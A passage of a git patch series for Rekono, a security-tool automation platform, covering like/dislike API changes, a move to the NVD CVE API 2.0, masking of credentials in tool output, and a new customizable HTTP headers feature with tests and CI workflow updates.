+121,7 @@ class WordlistTest(ApiTest): ), ApiTestCase(["reader1", "reader2"], "post", 403, endpoint="{endpoint}29/like/"), ApiTestCase( - ["reader1", "reader2"], "post", 403, endpoint="{endpoint}30/dislike/" + ["reader1", "reader2"], "delete", 403, endpoint="{endpoint}30/like/" ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], @@ -167,9 +167,9 @@ class WordlistTest(ApiTest): ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], - "post", + "delete", 204, - endpoint="{endpoint}29/dislike/", + endpoint="{endpoint}29/like/", ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py index 9d3a9ee64..4e6938e70 100644 --- a/src/backend/tools/views.py +++ b/src/backend/tools/views.py @@ -1,7 +1,10 @@ -from rest_framework.permissions import IsAuthenticated -from rest_framework.request import Request +from typing import Any +from drf_spectacular.utils import extend_schema from framework.views import BaseViewSet, LikeViewSet +from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response from security.authorization.permissions import RekonoModelPermission from tools.filters import ConfigurationFilter, ToolFilter from tools.models import Configuration, Tool @@ -17,12 +20,17 @@ class ToolViewSet(LikeViewSet): permission_classes = [IsAuthenticated, RekonoModelPermission] search_fields = ["name", "command"] ordering_fields = ["id", "name", "command"] - # "post" is needed to allow POST requests to like and dislike tools - http_method_names = ["get", "post"] + # "post" and "delete" are needed to allow POST requests to like and dislike tools + http_method_names = ["get", "post", "delete"] - def create(self, request: Request, *args, **kwargs): + @extend_schema(exclude=True) + def create(self, request: Request, *args, **kwargs) -> Response: return self._method_not_allowed("POST") # pragma: no cover + @extend_schema(exclude=True) + def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: + return self._method_not_allowed("DELETE") # pragma: no cover + class ConfigurationViewSet(BaseViewSet): """Configuration ViewSet that includes: get and retrieve features.""" diff --git a/src/backend/users/views.py b/src/backend/users/views.py index e2c993a23..1f4dd779d 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -3,6 +3,7 @@ from django.core.exceptions import PermissionDenied from drf_spectacular.utils import extend_schema +from framework.views import BaseViewSet from rest_framework import status from rest_framework.decorators import action from rest_framework.permissions import IsAuthenticated @@ -10,8 +11,6 @@ from rest_framework.response import Response from rest_framework.serializers import Serializer from rest_framework.viewsets import GenericViewSet - -from framework.views import BaseViewSet from security.authorization.permissions import ( IsAdmin, IsNotAuthenticated, @@ -54,12 +53,7 @@ class UserViewSet(BaseViewSet): "date_joined", "last_login", ] - http_method_names = [ - "get", - "post", - "put", - "delete", - ] + http_method_names = ["get", "post", "put", "delete"] def _get_object_if_not_current_user(self, request) -> User: instance = self.get_object() # Get user instance From dd1ad555ab48787545227f54898f115ec7f3fb5d Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Wed, 27 Mar 2024 22:32:25 +0100 Subject: [PATCH 134/141] Update NVD NIST API calls to use the API version 2.0 (#291) * Update NVD NIST API calls to use the API version 2.0 * Fix unit tests --- src/backend/platforms/nvd_nist.py | 53 ++++++++++++++------ src/backend/tests/platforms/test_nvd_nist.py | 36 ++++++------- 2 files changed, 56 insertions(+), 33 deletions(-) diff --git a/src/backend/platforms/nvd_nist.py b/src/backend/platforms/nvd_nist.py index abe78cac8..747dfaef7 100644 --- a/src/backend/platforms/nvd_nist.py +++ b/src/backend/platforms/nvd_nist.py @@ -9,7 +9,7 @@ class NvdNist(BaseIntegration): def __init__(self) -> None: - self.url = "https://services.nvd.nist.gov/rest/json/cve/1.0/{cve}" + self.url = "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve}" super().__init__() self.reference = "https://nvd.nist.gov/vuln/detail/{cve}" self.cvss_mapping = { @@ -30,26 +30,49 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non ) except Exception: # nosec continue - cve_info = data["result"]["CVE_Items"][0] - for description in ( - cve_info["cve"]["description"]["description_data"] or [] - ): + if len(data.get("vulnerabilities", []) or []) == 0: + continue + cve_info = data.get("vulnerabilities")[0].get("cve", {}) + for description in cve_info.get("descriptions", []) or []: if description.get("lang") == "en": finding.description = description.get("value") break - for problem in cve_info["cve"]["problemtype"]["problemtype_data"] or []: - for description in problem.get("description") or []: - if description.get("value") and description.get( - "value" - ).lower().startswith("cwe-"): + cwe_assigned = False + for weakness in cve_info.get("weaknesses", []) or []: + if weakness.get("type") != "Primary": + continue + for description in weakness.get("description") or []: + if description.get("value", "").lower().startswith("cwe-"): finding.cwe = description.get("value") + cwe_assigned = True break + if cwe_assigned: + break severity = 5 - for field in ["baseMetricV3", "baseMetricV2"]: - if field in cve_info["impact"]: - severity = cve_info["impact"][field][ - f"cvss{field.replace('baseMetric', '')}" - ]["baseScore"] + severity_assigned = False + cvss_metrics = cve_info.get("metrics", {}) or {} + for field in [ + "cvssMetricV31", + "cvssMetricV30", + "cvssMetricV3", + "cvssMetricV2", + ]: + metrics = cvss_metrics.get(field) or sum( + [ + list(items) + for key, items in cvss_metrics.items() + if key.lower().startswith(field) + ], + [], + ) + for cvss in metrics: + if cvss.get("type") == "Primary": + base_score = cvss.get("cvssData", {}).get("baseScore") + if base_score: + severity = base_score + severity_assigned = True + break + if severity_assigned: break finding.severity = [ k diff --git a/src/backend/tests/platforms/test_nvd_nist.py b/src/backend/tests/platforms/test_nvd_nist.py index 780b411a8..366978a53 100644 --- a/src/backend/tests/platforms/test_nvd_nist.py +++ b/src/backend/tests/platforms/test_nvd_nist.py @@ -7,41 +7,41 @@ from tests.framework import RekonoTest success = { - "result": { - "CVE_Items": [ - { - "cve": { - "description": { - "description_data": [{"lang": "en", "value": "description"}] + "vulnerabilities": [ + { + "cve": { + "descriptions": [{"lang": "en", "value": "description"}], + "weaknesses": [ + { + "type": "Primary", + "description": [{"lang": "en", "value": "CWE-200"}], }, - "problemtype": { - "problemtype_data": [{"description": [{"value": "CWE-200"}]}] + { + "type": "Secondary", + "description": [{"lang": "en", "value": "CWE-300"}], }, - } + ], + "metrics": {}, } - ] - } + } + ] } def _success(impact_value: Dict[str, Any]) -> Dict[str, Any]: - success["result"]["CVE_Items"][0]["impact"] = impact_value + success["vulnerabilities"][0]["cve"]["metrics"] = impact_value return success def success_cvss_3(*args: Any, **kwargs: Any) -> Dict[str, Any]: return _success( - { - "baseMetricV3": {"cvssV3": {"baseScore": 9}}, - } + {"cvssMetricV31": [{"type": "Primary", "cvssData": {"baseScore": 9}}]} ) def success_cvss_2(*args: Any, **kwargs: Any) -> Dict[str, Any]: return _success( - { - "baseMetricV2": {"cvssV2": {"baseScore": 8}}, - } + {"cvssMetricV2": [{"type": "Primary", "cvssData": {"baseScore": 8}}]} ) From 054c3d788559e1f1bb460445dcd563e1282fc6d7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Wed, 27 Mar 2024 23:41:34 +0100 Subject: [PATCH 135/141] Hide authentication details in execution output, error and reports (#290) * Hide authentication details in execution output, error and reports * Fix code style * Fix code style * Improve unit tests coverage and don't protect authentication name as it will be shown on UI * Fix error in unit tests * Fix code style * Check if report file exists before protecting it * Fix unit tests * Fix error in unit tests --- src/backend/authentications/models.py | 27 +++++++++++------------- src/backend/tests/cases.py | 12 ++++++++--- src/backend/tests/framework.py | 12 +++++------ src/backend/tools/executors/base.py | 22 ++++++++------------ src/backend/tools/parsers/base.py | 30 ++++++++++++++++++++++++++- 5 files changed, 65 insertions(+), 38 deletions(-) diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index ec562bd4b..6fe5f6b33 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -1,9 +1,8 @@ import base64 from typing import Any, Dict -from django.db import models - from authentications.enums import AuthenticationType +from django.db import models from framework.enums import InputKeyword from framework.models import BaseEncrypted, BaseInput from security.validators.input_validator import Regex, Validator @@ -38,6 +37,13 @@ class Authentication(BaseInput, BaseEncrypted): filters = [BaseInput.Filter(type=AuthenticationType, field="type")] _encrypted_field = "_secret" + def get_token(self) -> str: + return ( + base64.b64encode(f"{self.name}:{self.secret}".encode()).decode() + if self.type == AuthenticationType.BASIC + else self.secret + ) + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. @@ -54,19 +60,10 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: InputKeyword.SECRET.name.lower(): self.secret, InputKeyword.CREDENTIAL_TYPE.name.lower(): self.type, InputKeyword.CREDENTIAL_TYPE_LOWER.name.lower(): self.type.lower(), - **( - { - InputKeyword.USERNAME.name.lower(): self.name, - InputKeyword.TOKEN.name.lower(): base64.b64encode( - f"{self.name}:{self.secret}".encode() - ).decode(), - } - if self.type == AuthenticationType.BASIC - else { - InputKeyword.USERNAME.name.lower(): None, - InputKeyword.TOKEN.name.lower(): self.secret, - } - ), + InputKeyword.TOKEN.name.lower(): self.get_token(), + InputKeyword.USERNAME.name.lower(): self.name + if self.type == AuthenticationType.BASIC + else None, } def __str__(self) -> str: diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index c959dc509..6eb255574 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -3,11 +3,11 @@ from pathlib import Path from typing import Any, Dict, List, Optional, Tuple, Type +from authentications.models import Authentication from django.db import transaction from django.test import TestCase -from rest_framework.test import APIClient - from executions.models import Execution +from rest_framework.test import APIClient from tools.parsers.base import BaseParser @@ -80,10 +80,15 @@ class ToolTestCase(RekonoTestCase): expected: Optional[List[Dict[str, Any]]] = None def _get_parser( - self, execution: Execution, executor_arguments: List[str], reports: Path + self, + execution: Execution, + authentication: Authentication, + executor_arguments: List[str], + reports: Path, ) -> BaseParser: report = reports / self.report executor = execution.configuration.tool.get_executor_class()(execution) + executor.authentication = authentication executor.arguments = executor_arguments parser = execution.configuration.tool.get_parser_class()( executor, @@ -98,6 +103,7 @@ def _get_parser( def test_case(self, *args: Any, **kwargs: Any) -> None: parser = self._get_parser( kwargs["execution"], + kwargs["authentication"], kwargs["executor_arguments"], kwargs["reports"] / kwargs["tool"].lower().replace(" ", "_"), ) diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 91cd46fa3..141e32027 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -4,11 +4,9 @@ from pathlib import Path as PathFile from typing import Any, Dict, List, Optional -from django.test import TestCase -from rest_framework.test import APIClient - from authentications.enums import AuthenticationType from authentications.models import Authentication +from django.test import TestCase from executions.enums import Status from executions.models import Execution from findings.enums import ( @@ -36,6 +34,7 @@ from processes.models import Process, Step from projects.models import Project from rekono.settings import CONFIG +from rest_framework.test import APIClient from security.authorization.roles import Role from target_ports.models import TargetPort from targets.enums import TargetType @@ -350,13 +349,13 @@ def test_anonymous_access(self) -> None: class ToolTest(RekonoTest): tool_name = "" execution = None + authentication = None executor_arguments: List[str] = [] - data_dir = RekonoTest.data_dir / "reports" def setUp(self) -> None: if self.tool_name: super().setUp() - self._setup_target() + self._setup_task_user_provided_entities() self.tool = Tool.objects.get(name=self.tool_name) self.configuration = self.tool.configurations.get(default=True) self.task = Task.objects.create( @@ -371,8 +370,9 @@ def setUp(self) -> None: def _metadata(self) -> Dict[str, Any]: return { "execution": self.execution, + "authentication": self.authentication, "executor_arguments": self.executor_arguments, - "reports": self.data_dir, + "reports": self.data_dir / "reports", "tool": self.tool_name, } diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 4a29410d8..abac07bbf 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -4,12 +4,11 @@ import subprocess # nosec import uuid from pathlib import Path -from typing import Any, Dict, List +from typing import Any, Dict, List, Optional +from authentications.models import Authentication from django.forms.models import model_to_dict from django.utils import timezone - -from authentications.models import Authentication from executions.enums import Status from executions.models import Execution from findings.framework.models import Finding @@ -41,6 +40,7 @@ def __init__(self, execution: Execution) -> None: ) self.arguments: List[str] = [] self.findings_used_in_execution: Dict[Any, BaseInput] = {} + self.authentication: Optional[Authentication] = None def _get_arguments( self, @@ -104,6 +104,8 @@ def _get_arguments( self.findings_used_in_execution[ base_input.__class__ ] = base_input + if isinstance(base_input, Authentication): + self.authentication = base_input if not argument.multiple: break if parsed_data: @@ -203,19 +205,16 @@ def _on_task_end(self) -> None: self.execution.task.save(update_fields=["end"]) logger.info(f"[Task] Task {self.execution.task.id} has finished") - def _on_skip(self, reson: str) -> None: + def _on_skip(self, reason: str) -> None: self.execution.status = Status.SKIPPED - self.execution.skipped_reason = reson + self.execution.skipped_reason = reason self.execution.end = timezone.now() self.execution.save(update_fields=["status", "end", "skipped_reason"]) self._on_task_end() def _on_error(self, error: str) -> None: if error: - self.execution.output_error = error.replace( - str(self.report), - f"output.{self.execution.configuration.tool.output_format}", - ).strip() + self.execution.output_error = error self.execution.status = Status.ERROR self.execution.end = timezone.now() self.execution.save(update_fields=["output_error", "status", "end"]) @@ -226,10 +225,7 @@ def _on_completed(self, output: str) -> None: self.execution.end = timezone.now() if self.execution.configuration.tool.output_format and self.report.is_file(): self.execution.output_file = self.report - self.execution.output_plain = output.replace( - str(self.report), - f"output.{self.execution.configuration.tool.output_format}", - ) + self.execution.output_plain = output self.execution.save( update_fields=["status", "end", "output_file", "output_plain"] ) diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index e1cfa940c..2dd19edbe 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -4,7 +4,6 @@ import defusedxml.ElementTree as parser from django.db.models.fields.related_descriptors import ReverseManyToOneDescriptor from django.db.models.query_utils import DeferredAttribute - from findings.framework.models import Finding from tools.executors.base import BaseExecutor @@ -77,8 +76,37 @@ def _load_report_by_lines(self) -> List[str]: with open(self.report, "r", encoding="utf-8") as report: return report.readlines() + def _protect_value(self, value: Optional[str]) -> Optional[str]: + if not value: + return value + if self.executor.authentication: + for sensitive_value in [ + self.executor.authentication.secret, + self.executor.authentication.get_token(), + ]: + value = value.replace(sensitive_value, "*****") + return value.replace( + str(self.report), + f"output.{self.executor.execution.configuration.tool.output_format}", + ).strip() + + def _protect_execution(self) -> None: + self.executor.execution.output_plain = self._protect_value( + self.executor.execution.output_plain + ) + self.executor.execution.output_error = self._protect_value( + self.executor.execution.output_error + ) + if self.report and self.report.is_file(): + with self.report.open("r") as read_report: + data = read_report.read() + with self.report.open("w") as write_report: + write_report.write(self._protect_value(data)) + self.executor.execution.save(update_fields=["output_plain", "output_error"]) + def parse(self) -> None: if self.report: self._parse_report() elif self.output: self._parse_standard_output() + self._protect_execution() From 6b0d6d122bbb935a0fa8a9c315ad032a502bf134 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Fri, 29 Mar 2024 16:26:15 +0100 Subject: [PATCH 136/141] Customization of HTTP headers (#296) * Customization of HTTP headers * Fix code style * Fix unit tests --- .github/workflows/desktop.yml | 45 ++++---- src/backend/framework/enums.py | 3 + src/backend/framework/models.py | 5 +- src/backend/http_headers/__init__.py | 0 src/backend/http_headers/admin.py | 6 + src/backend/http_headers/apps.py | 6 + src/backend/http_headers/filters.py | 19 +++ src/backend/http_headers/models.py | 75 ++++++++++++ src/backend/http_headers/serializers.py | 47 ++++++++ src/backend/http_headers/urls.py | 7 ++ src/backend/http_headers/views.py | 40 +++++++ .../input_types/fixtures/1_input_types.json | 10 ++ src/backend/parameters/models.py | 3 +- src/backend/projects/serializers.py | 6 +- src/backend/rekono/settings.py | 1 + src/backend/rekono/urls.py | 1 + .../security/authorization/permissions.py | 8 +- src/backend/security/authorization/roles.py | 6 + src/backend/targets/serializers.py | 7 +- src/backend/tests/cases.py | 6 +- src/backend/tests/test_api_tokens.py | 6 + src/backend/tests/test_http_headers.py | 108 ++++++++++++++++++ src/backend/tests/test_queues.py | 4 +- src/backend/tools/executors/base.py | 26 ++++- .../tools/fixtures/3_configurations.json | 22 ++-- src/backend/tools/fixtures/4_arguments.json | 55 +++++++++ src/backend/tools/fixtures/5_inputs.json | 50 ++++++++ src/backend/users/serializers.py | 9 +- 28 files changed, 529 insertions(+), 52 deletions(-) create mode 100644 src/backend/http_headers/__init__.py create mode 100644 src/backend/http_headers/admin.py create mode 100644 src/backend/http_headers/apps.py create mode 100644 src/backend/http_headers/filters.py create mode 100644 src/backend/http_headers/models.py create mode 100644 src/backend/http_headers/serializers.py create mode 100644 src/backend/http_headers/urls.py create mode 100644 src/backend/http_headers/views.py create mode 100644 src/backend/tests/test_http_headers.py diff --git a/.github/workflows/desktop.yml b/.github/workflows/desktop.yml index 408646ccd..dd97f6215 100644 --- a/.github/workflows/desktop.yml +++ b/.github/workflows/desktop.yml @@ -49,24 +49,6 @@ jobs: steps: - name: Checkout GitLab repository run: git clone https://gitlab.com/pablosnt/rekono.git rekono-deb - - - name: Update README.md - working-directory: rekono-deb - shell: python - run: | - import re - with open('README.md', 'r') as readme: - content = readme.read() - line_to_replace = re.search(f'dpkg -i ../rekono_[\d\.]+_amd64.deb', content) - if line_to_replace: - with open('README.md', 'w') as readme: - readme.write(content.replace(line_to_replace.group(0), 'dpkg -i ../rekono_${{ github.event.release.name }}_amd64.deb')) - - - name: Update rekono executable - working-directory: rekono-deb - run: | - echo '#!/bin/sh' > rekono - echo 'exec kaboxer run --component default --version ${{ github.event.release.name }} rekono -- "$@"' >> rekono - name: Update debian/changelog working-directory: rekono-deb/debian @@ -79,7 +61,7 @@ jobs: tz = pytz.timezone('Europe/Madrid') d = tz.localize(datetime.now()) change_time = d.strftime('%a, %d %b %Y %H:%M:%S %z') - new_changes = f'rekono (${{ github.event.release.name }}) UNRELEASED; urgency=medium\n\n * Update Rekono version to ${{ github.event.release.name }}.\n\n -- Pablo Santiago López <${{ secrets.GITLAB_EMAIL }}> {change_time}\n\n' + new_changes = f'rekono-kbx (${{ github.event.release.name }}) kali-dev; urgency=medium\n\n * Update Rekono version to ${{ github.event.release.name }}.\n\n -- Pablo Santiago López <${{ secrets.GITLAB_EMAIL }}> {change_time}\n\n' with open('changelog', 'w') as changelog: changelog.write(new_changes + old_changes) @@ -111,4 +93,27 @@ jobs: response = requests.post('https://gitlab.com/api/v4/projects/${{ env.GITLAB_PROJECT_ID }}/merge_requests', data=data, headers=headers) if response.status_code != 201: print(response.text) - assert(response.status_code == 201) + response.raise_for_status() + + - name: GitLab issue in Kali Linux repository + shell: python + env: + GITLAB_PROJECT_ID: 48406619 + run: | + import requests + headers = { + 'PRIVATE-TOKEN': '${{ secrets.GITLAB_TOKEN }}' + } + data = { + 'title': 'New Rekono version ${{ github.event.release.name }}', + 'description': '''Please, upgrade the `rekono-kbx` Kali Linux package to the latest version `${{ github.event.release.name }}`. + + New version details: + - [GitHub release](https://github.com/pablosnt/rekono/releases/tag/${{ github.event.release.name }}) + - [Rekono changelog](https://github.com/pablosnt/rekono/blob/main/CHANGELOG.md) + + Thank you very much! + ''', + } + response = requests.post('https://gitlab.com/api/v4/projects/${{ env.GITLAB_PROJECT_ID }}/issues', data=data, headers=headers) + response.raise_for_status() diff --git a/src/backend/framework/enums.py b/src/backend/framework/enums.py index 6c5e11a7b..30d511c15 100644 --- a/src/backend/framework/enums.py +++ b/src/backend/framework/enums.py @@ -23,3 +23,6 @@ class InputKeyword(Enum): TOKEN = 17 CREDENTIAL_TYPE = 18 CREDENTIAL_TYPE_LOWER = 19 + HEADERS = 20 + HEADER_KEY = 21 + HEADER_VALUE = 22 diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index f528c8647..38bd67c2f 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -5,7 +5,6 @@ import urllib3 from django.db import models from django.db.models import Q - from rekono.settings import AUTH_USER_MODEL, CONFIG from security.cryptography.encryption import Encryptor @@ -19,9 +18,9 @@ def get_project(self) -> Any: if filter_field: project = self for field in filter_field.split("__"): - if hasattr(project, field): + if hasattr(project, field) and getattr(project, field): project = getattr(project, field) - else: # pragma: no cover + else: return None return project diff --git a/src/backend/http_headers/__init__.py b/src/backend/http_headers/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/http_headers/admin.py b/src/backend/http_headers/admin.py new file mode 100644 index 000000000..3c1b9c343 --- /dev/null +++ b/src/backend/http_headers/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from http_headers.models import HttpHeader + +# Register your models here. + +admin.site.register(HttpHeader) diff --git a/src/backend/http_headers/apps.py b/src/backend/http_headers/apps.py new file mode 100644 index 000000000..9c47495d0 --- /dev/null +++ b/src/backend/http_headers/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig +from framework.apps import BaseApp + + +class HttpHeadersConfig(BaseApp, AppConfig): + name = "http_headers" diff --git a/src/backend/http_headers/filters.py b/src/backend/http_headers/filters.py new file mode 100644 index 000000000..aad5ef2ac --- /dev/null +++ b/src/backend/http_headers/filters.py @@ -0,0 +1,19 @@ +from django_filters.filters import ModelChoiceFilter +from django_filters.rest_framework import FilterSet +from http_headers.models import HttpHeader +from projects.models import Project + + +class HttpHeaderFilter(FilterSet): + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="target__project" + ) + + class Meta: + model = HttpHeader + fields = { + "target": ["exact", "isnull"], + "user": ["exact", "isnull"], + "key": ["exact", "icontains"], + "value": ["exact", "icontains"], + } diff --git a/src/backend/http_headers/models.py b/src/backend/http_headers/models.py new file mode 100644 index 000000000..38ea12c82 --- /dev/null +++ b/src/backend/http_headers/models.py @@ -0,0 +1,75 @@ +from typing import Any, Dict + +from django.db import models +from framework.enums import InputKeyword +from framework.models import BaseInput +from rekono.settings import AUTH_USER_MODEL +from security.validators.input_validator import Regex, Validator +from targets.models import Target + +# Create your models here. + + +class HttpHeader(BaseInput): + target = models.ForeignKey( + Target, + related_name="http_headers", + on_delete=models.CASCADE, + blank=True, + null=True, + ) + user = models.ForeignKey( + AUTH_USER_MODEL, + related_name="http_headers", + on_delete=models.CASCADE, + blank=True, + null=True, + ) + key = models.TextField( + max_length=100, validators=[Validator(Regex.NAME.value, code="key")] + ) + value = models.TextField( + max_length=500, validators=[Validator(Regex.TEXT.value, code="value")] + ) + + filters = [BaseInput.Filter(type=str, field="key")] + + class Meta: + constraints = [ + models.UniqueConstraint( + fields=["target", "user", "key"], + name="unique_http_headers_1", + condition=models.Q(user__isnull=False, target__isnull=False), + ), + models.UniqueConstraint( + fields=["user", "key"], + name="unique_http_headers_2", + condition=models.Q(target__isnull=True), + ), + models.UniqueConstraint( + fields=["target", "key"], + name="unique_http_headers_3", + condition=models.Q(user__isnull=True), + ), + models.UniqueConstraint( + fields=["key"], + name="unique_http_headers_4", + condition=models.Q(user__isnull=True, target__isnull=True), + ), + ] + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + return { + InputKeyword.HEADERS.name.lower(): { + **accumulated.get(InputKeyword.HEADERS.name.lower(), {}), + self.key: self.value, + } + } + + def __str__(self) -> str: + parent = self.target or self.user + return f"{parent.__str__()} - {self.key}" if parent else self.key + + @classmethod + def get_project_field(cls) -> str: + return "target__project" diff --git a/src/backend/http_headers/serializers.py b/src/backend/http_headers/serializers.py new file mode 100644 index 000000000..1e05abab1 --- /dev/null +++ b/src/backend/http_headers/serializers.py @@ -0,0 +1,47 @@ +from typing import Any, Dict + +from django.core.exceptions import PermissionDenied +from http_headers.models import HttpHeader +from rest_framework.serializers import ModelSerializer +from security.authorization.permissions import IsAdmin + + +class HttpHeaderSerializer(ModelSerializer): + class Meta: + model = HttpHeader + fields = ("id", "target", "user", "key", "value") + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + if attrs.get("target"): + attrs["user"] = None + if ( + attrs.get("user") is not None + and attrs.get("user") != self.context.get("request").user + ) or ( + attrs.get("target") is None + and attrs.get("user") is None + and not IsAdmin().has_permission(self.context.get("request"), None) + ): + raise PermissionDenied() + return attrs + + +class SimpleHttpHeaderSerializer(ModelSerializer): + class Meta: + model = HttpHeader + fields = ("id", "key", "value") + + def update( + self, instance: HttpHeader, validated_data: Dict[str, Any] + ) -> HttpHeader: + if ( + instance.user is not None + and instance.user != self.context.get("request").user + ) or ( + instance.user is None + and instance.target is None + and not IsAdmin().has_permission(self.context.get("request"), None) + ): + raise PermissionDenied() + return super().update(instance, validated_data) diff --git a/src/backend/http_headers/urls.py b/src/backend/http_headers/urls.py new file mode 100644 index 000000000..1b40fdca5 --- /dev/null +++ b/src/backend/http_headers/urls.py @@ -0,0 +1,7 @@ +from http_headers.views import HttpHeaderViewSet +from rest_framework.routers import SimpleRouter + +router = SimpleRouter() +router.register("http-headers", HttpHeaderViewSet) + +urlpatterns = router.urls diff --git a/src/backend/http_headers/views.py b/src/backend/http_headers/views.py new file mode 100644 index 000000000..4c2f17eac --- /dev/null +++ b/src/backend/http_headers/views.py @@ -0,0 +1,40 @@ +from django.db.models import Q, QuerySet +from framework.views import BaseViewSet +from http_headers.filters import HttpHeaderFilter +from http_headers.models import HttpHeader +from http_headers.serializers import HttpHeaderSerializer, SimpleHttpHeaderSerializer +from rest_framework.permissions import IsAuthenticated +from rest_framework.serializers import Serializer +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) + +# Create your views here. + + +class HttpHeaderViewSet(BaseViewSet): + queryset = HttpHeader.objects.all() + serializer_class = HttpHeaderSerializer + filterset_class = HttpHeaderFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] + # Fields used to search input technologies + search_fields = ["key", "value"] + ordering_fields = ["id", "target", "user", "key"] + http_method_names = ["get", "put", "post", "delete"] + + def get_queryset(self) -> QuerySet: + return self.queryset.filter( + Q(user=self.request.user) | Q(user__isnull=True) + ).filter(Q(target__project__members=self.request.user) | Q(target__isnull=True)) + + def get_serializer_class(self) -> Serializer: + return ( + SimpleHttpHeaderSerializer + if self.request.method == "PUT" + else super().get_serializer_class() + ) diff --git a/src/backend/input_types/fixtures/1_input_types.json b/src/backend/input_types/fixtures/1_input_types.json index 24141a006..669b56cbc 100644 --- a/src/backend/input_types/fixtures/1_input_types.json +++ b/src/backend/input_types/fixtures/1_input_types.json @@ -98,5 +98,15 @@ "fallback_model": null, "relationships": false } + }, + { + "model": "input_types.inputtype", + "pk": 11, + "fields": { + "name": "Http Header", + "model": "http_headers.httpheader", + "fallback_model": null, + "relationships": false + } } ] \ No newline at end of file diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 4cf1dcfb2..1ae005a46 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -1,7 +1,6 @@ from typing import Any, Dict from django.db import models - from framework.enums import InputKeyword from framework.models import BaseInput from security.validators.input_validator import Regex, Validator @@ -31,7 +30,7 @@ class InputTechnology(BaseInput): class Meta: constraints = [ models.UniqueConstraint( - fields=["target", "name", "version"], name="unique_input_technology" + fields=["target", "name"], name="unique_input_technology" ) ] diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index 844b7396a..735538e5b 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -3,12 +3,11 @@ from django.db import transaction from django.shortcuts import get_object_or_404 -from rest_framework.serializers import IntegerField, ModelSerializer, Serializer -from taggit.serializers import TaggitSerializer - from framework.fields import TagField from platforms.defect_dojo.serializers import DefectDojoSyncSerializer from projects.models import Project +from rest_framework.serializers import IntegerField, ModelSerializer, Serializer +from taggit.serializers import TaggitSerializer from targets.serializers import SimpleTargetSerializer from users.models import User from users.serializers import SimpleUserSerializer @@ -70,7 +69,6 @@ class ProjectMemberSerializer(Serializer): user = IntegerField(required=True) - @transaction.atomic() def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: """Update instance from validated data. diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index f34610f9a..b34454c5a 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -55,6 +55,7 @@ "authentications", "executions", "findings", + "http_headers", "input_types", "integrations", "notes", diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index 0c7b04268..ec379188c 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -31,6 +31,7 @@ path("api/", include("authentications.urls")), path("api/", include("executions.urls")), path("api/", include("findings.urls")), + path("api/", include("http_headers.urls")), path("api/", include("integrations.urls")), path("api/", include("notes.urls")), path("api/", include("parameters.urls")), diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index a14cd6601..8751f5a0a 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -93,6 +93,7 @@ class OwnerPermission(BasePermission): def _has_object_permission( self, request: Request, + view: View, instance: Any, owner_field: str, allow_admin: bool, @@ -111,13 +112,14 @@ def _has_object_permission( hasattr(instance, owner_field) and getattr(instance, owner_field) == request.user ) - or (allow_admin and IsAdmin().has_permission(request, owner_field)) + or (allow_admin and IsAdmin().has_permission(request, view)) ) def has_permission(self, request: Request, view: View) -> bool: return ( self._has_object_permission( request, + view, Process.objects.get(pk=request.data.get("process_id")), "owner", True, @@ -146,4 +148,6 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: elif obj.__class__ in [TelegramChat, Report]: instance = obj owner_field = "user" - return self._has_object_permission(request, instance, owner_field, allow_admin) + return self._has_object_permission( + request, view, instance, owner_field, allow_admin + ) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index 1327a736a..bc8c14a2c 100644 --- a/src/backend/security/authorization/roles.py +++ 